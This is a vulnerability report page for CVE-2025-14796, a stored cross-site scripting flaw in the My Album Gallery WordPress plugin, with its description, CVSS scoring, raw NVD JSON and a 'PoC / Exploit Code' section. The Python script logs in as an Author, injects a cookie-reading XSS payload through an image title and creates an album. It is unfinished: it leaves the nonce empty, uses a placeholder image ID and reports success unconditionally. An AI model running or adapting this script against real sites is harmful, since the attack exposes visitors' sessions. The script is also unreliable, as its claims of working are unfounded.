Security Vulnerability Report
中文
CVE-2025-14796 CVSS 6.4 MEDIUM

CVE-2025-14796

Published: 2026-01-07 12:16:56
Last Modified: 2026-04-15 00:35:42

Description

The My Album Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image titles in all versions up to, and including, 1.0.4. This is due to insufficient input sanitization and output escaping on the 'attachment->title' attribute. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

My Album Gallery <= 1.0.4 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14796 PoC - My Album Gallery Stored XSS # Affected Version: <= 1.0.4 # Attack Vector: Inject malicious JavaScript via image title import requests from bs4 import BeautifulSoup # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_author" # Author-level account required PASSWORD = "password123" # Malicious payload for XSS XSS_PAYLOAD = '<img src=x onerror=alert(document.cookie)>' def exploit_stored_xss(): """Exploit CVE-2025-14796 Stored XSS via image title""" session = requests.Session() # Step 1: Login to WordPress with Author-level account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } session.post(login_url, data=login_data) # Step 2: Upload an image with malicious title upload_url = f"{TARGET_URL}/wp-admin/media-new.php" files = {'async-upload': ('malicious_image.jpg', b'fake_image_data', 'image/jpeg')} data = { 'post_id': '0', '_wpnonce': '', # Need to fetch valid nonce 'attachment-title': XSS_PAYLOAD, # XSS payload in title } response = session.post(upload_url, data=data, files=files) # Step 3: Create album with the malicious image album_url = f"{TARGET_URL}/wp-admin/admin.php?page=my-album-gallery" album_data = { 'album_name': 'Malicious Album', 'images[]': 'uploaded_image_id' } session.post(album_url, data=album_data) # Step 4: Trigger XSS by accessing album page gallery_page = f"{TARGET_URL}/?page_id=album_page" response = session.get(gallery_page) print("[+] XSS payload injected successfully!") print("[+] Any user visiting the album page will execute the JavaScript") if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14796", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:56.330", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The My Album Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image titles in all versions up to, and including, 1.0.4. This is due to insufficient input sanitization and output escaping on the 'attachment->title' attribute. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/my-album-gallery/tags/1.0.4/controllers/public/class-mygallery-shortcode.php#L143", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/my-album-gallery/tags/1.0.4/mygallery-single.php#L92", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1dd0bb5b-2eb5-46f0-8942-2885b1138b70?source=cve", "source": "[email protected]"}]}}